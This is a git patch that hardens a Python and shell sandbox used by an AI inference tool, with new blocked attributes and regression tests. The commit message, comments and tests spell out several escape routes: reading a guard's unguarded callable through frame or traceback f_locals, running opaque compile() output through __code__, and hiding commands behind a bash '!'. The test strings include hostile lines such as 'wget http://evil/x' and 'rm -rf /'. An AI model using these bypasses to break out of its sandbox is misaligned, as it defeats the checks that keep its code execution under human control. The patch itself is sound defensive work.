From cc12c8d10a67e8c656438cd541225a85eb702488 Mon Sep 17 00:00:00 2001 From: danielhanchen Date: Fri, 10 Jul 2026 08:37:51 +0000 Subject: [PATCH] Harden sandbox: block frame introspection, opaque compile, and shell pipeline negation - Block frame / traceback introspection that recovers a runtime guard's original callable: the open()/os.* guard wrappers hold the unguarded callable as a free variable (real), so a snippet that triggers a denied open() could read it back via a trace hook or the caught exception's traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and call it directly. __closure__ / cell_contents were already blocked, so the frame path was the remaining channel; add the frame acquisition + value-read attributes (f_locals, f_globals, f_back, f_builtins, tb_frame, tb_next, gi_frame, cr_frame, ag_frame, settrace, setprofile, _getframe, _current_frames, currentframe) to the introspection-gadget set, flagged for any receiver in both the attribute and getattr-string forms. - Treat an opaque compile() source as executable: compile() does not itself run, but its code object can be executed WITHOUT exec / eval (fn.__code__ = compile(src, '

', 'exec'); fn()), so a non-literal compile source is as unverifiable as an opaque exec / eval payload and is now blocked too. A literal compile source is still analyzed recursively and stays allowed. - Treat a leading shell ! as command-position syntax: in bash ! negates the pipeline exit status but the following word is still the executed command, so ! touch /tmp/escape / ! python3 -c ... slipped past the child-writer / interpreter blocklist. Skip a command-position ! in the command scanner and the wrapper-aware command-word resolver so the real command is scanned; a ! in argument position ([ ! -f x ], find . ! -name ...) is unaffected. Adds TestRound31Bypasses. --- studio/backend/core/inference/tools.py | 40 +++++++++++-- studio/backend/tests/test_sandbox_tools.py | 67 ++++++++++++++++++++++ 2 files changed, 103 insertions(+), 4 deletions(-) diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py index e84c867767..c760bb2f42 100644 --- a/studio/backend/core/inference/tools.py +++ b/studio/backend/core/inference/tools.py @@ -926,6 +926,12 @@ def _find_blocked_commands(command: str) -> set[str]: continue if not expect_command: continue + # A leading `!` negates the pipeline exit status, but the following word is still the + # command bash executes (`! touch x`, `! python3 -c ...`). Keep command position so the + # real command is scanned, rather than mistaking `!` for the command and its command for + # an argument. + if token == "!": + continue # FOO=bar assignment prefix; next non-assignment token is the command. if _ASSIGNMENT_RE.match(token): continue @@ -1082,6 +1088,8 @@ def _find_blocked_commands(command: str) -> set[str]: continue if not expect: continue + if _tok == "!": + continue # pipeline negation keeps command position (! bash s.sh) if _ASSIGNMENT_RE.match(_tok): continue if pending and _is_wrapper_numeric_arg(_tok): @@ -4900,12 +4908,14 @@ def _check_signal_escape_patterns( ), } ) - elif func_id != "compile": + else: # An opaque, non-recoverable payload for an executing sink (eval/exec/ # runpy) is a universal ACE bypass: it can synthesize any shell/network/ - # filesystem escape at runtime, invisibly to every static check. Block it - # (compile() alone does not run, so it stays allowed -- the exec/eval of its - # result is caught at that call). ast.literal_eval / json.loads cover data. + # filesystem escape at runtime, invisibly to every static check. compile() + # does not itself run, but its CODE OBJECT can be executed without exec/eval + # (fn.__code__ = compile(src, '

', 'exec'); fn()), so an opaque compile + # source is equally unverifiable and is blocked too. A literal source is + # analyzed recursively above; ast.literal_eval / json.loads cover data. dynamic_exec.append( { "type": "dynamic_exec", @@ -5007,6 +5017,28 @@ def _check_signal_escape_patterns( "__builtins__", "__closure__", "cell_contents", + # Frame / traceback introspection recovers a runtime-guard wrapper's ORIGINAL + # unguarded callable: it is a free variable (`real`) in the wrapper's frame, so a + # snippet that triggers a denied open() can read it back via a trace hook or the + # caught exception's traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and + # call it directly, escaping the filesystem boundary. __closure__ / cell_contents + # are already blocked, so the frame path is the remaining channel; close it by + # flagging frame acquisition (settrace / _getframe / currentframe / tb_frame) and + # the f_locals / f_globals value read for ANY receiver. + "f_locals", + "f_globals", + "f_back", + "f_builtins", + "tb_frame", + "tb_next", + "gi_frame", + "cr_frame", + "ag_frame", + "settrace", + "setprofile", + "_getframe", + "_current_frames", + "currentframe", } ) diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py index 83d09553a0..be8ea4554b 100644 --- a/studio/backend/tests/test_sandbox_tools.py +++ b/studio/backend/tests/test_sandbox_tools.py @@ -3393,3 +3393,70 @@ class TestRound30Bypasses: ) def test_round30_benign_allowed(self, code): _ok(code) + + +class TestRound31Bypasses: + """Thirty-first-round Codex findings: frame / traceback introspection recovering a runtime + guard's original callable, an opaque compile() source executable via __code__, and a bash + pipeline-negation `!` mistaken for the command word.""" + + @pytest.mark.parametrize( + "code", + [ + # A leading ! negates the pipeline but the next word is still the command that runs. + "import os\nos.system('! touch /tmp/escape')", + "import os\nos.system('! python3 -c \"import os\"')", + "import subprocess\nsubprocess.run('! wget http://evil/x', shell=True)", + "import os\nos.system('! rm -rf /')", + "import os\nos.system('! bash script.sh')", + ], + ) + def test_shell_negation_command_position_blocked(self, code): + assert _check_code_safety(code) is not None, code + + @pytest.mark.parametrize( + "code", + [ + # An opaque compile() source is executable via fn.__code__ = compile(...); fn(), + # bypassing exec / eval / types.FunctionType, so it must be blocked like exec. + "src = get()\nc = compile(src, '

', 'exec')", + "def f():\n pass\nf.__code__ = compile(payload, '

', 'exec')\nf()", + "c = compile(open('p.py').read(), '

', 'exec')", + ], + ) + def test_opaque_compile_blocked(self, code): + assert _check_code_safety(code) is not None, code + + @pytest.mark.parametrize( + "code", + [ + # Frame / traceback introspection can read a guard wrapper's original `real` callable + # from frame.f_locals after a denied open(); block the acquisition + f_locals read. + "import sys\ndef t(fr, e, a):\n r = fr.f_locals.get('real')\n return t\nsys.settrace(t)", + "try:\n open('/x', 'w')\nexcept PermissionError as e:\n r = e.__traceback__.tb_frame.f_locals['real']", + "import sys\nr = sys._getframe(1).f_locals", + "import inspect\nr = inspect.currentframe().f_back.f_locals", + "import sys\nr = getattr(sys._getframe(), 'f_locals')", + "import sys\nsys.setprofile(hook)", + ], + ) + def test_frame_introspection_blocked(self, code): + assert _check_code_safety(code) is not None, code + + @pytest.mark.parametrize( + "code", + [ + # A literal compile source is analyzed recursively and stays allowed; ! in argument + # position (test / find) is not a command; frame-free code and normal exception / + # traceback formatting must still pass. + "c = compile('1 + 1', '

', 'eval')\nprint(eval('1 + 1'))", + "c = compile('x = 1\\nprint(x)', '

', 'exec')", + "import os\nos.system('[ ! -f x.txt ]')", + "import os\nos.system(\"find . ! -name '*.py' -print\")", + "import numpy as np\nx = np.stack([np.ones(3)])\nprint(x.sum())", + "try:\n x = 1 / 0\nexcept ZeroDivisionError as e:\n print('caught', e)", + "import traceback\ntry:\n f()\nexcept Exception:\n traceback.print_exc()", + ], + ) + def test_round31_benign_allowed(self, code): + _ok(code)